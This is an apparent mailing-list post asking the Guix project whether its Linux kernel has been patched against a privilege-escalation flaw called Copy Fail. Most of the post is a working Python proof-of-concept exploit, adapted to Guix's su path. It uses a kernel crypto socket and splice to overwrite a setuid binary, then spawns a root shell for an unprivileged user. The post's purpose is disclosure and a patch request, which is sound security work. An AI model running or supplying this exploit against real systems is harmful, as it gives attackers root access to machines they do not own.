Hi Guix,

My apologies if I've missed announcements related to this, but have we updated 
our Linux kernel yet to patch against the recent Copy Fail exploit?

https://copy.fail/

Here's the PoC exploit script provided by that site, with the /usr/bin/su 
target executable switched out for our /run/privileged/bin/su binary:

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/run/privileged/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

If you make that executable and run it on your Guix System machine as an 
unprivileged user, it will drop you into a root shell without any PATH or other 
useful environment variables set. On Guix System, this really handicaps you, 
but a determined hacker could set up the appropriate PATH again or invoke 
commands on your system via their absolute paths.

Best,
  Gary 

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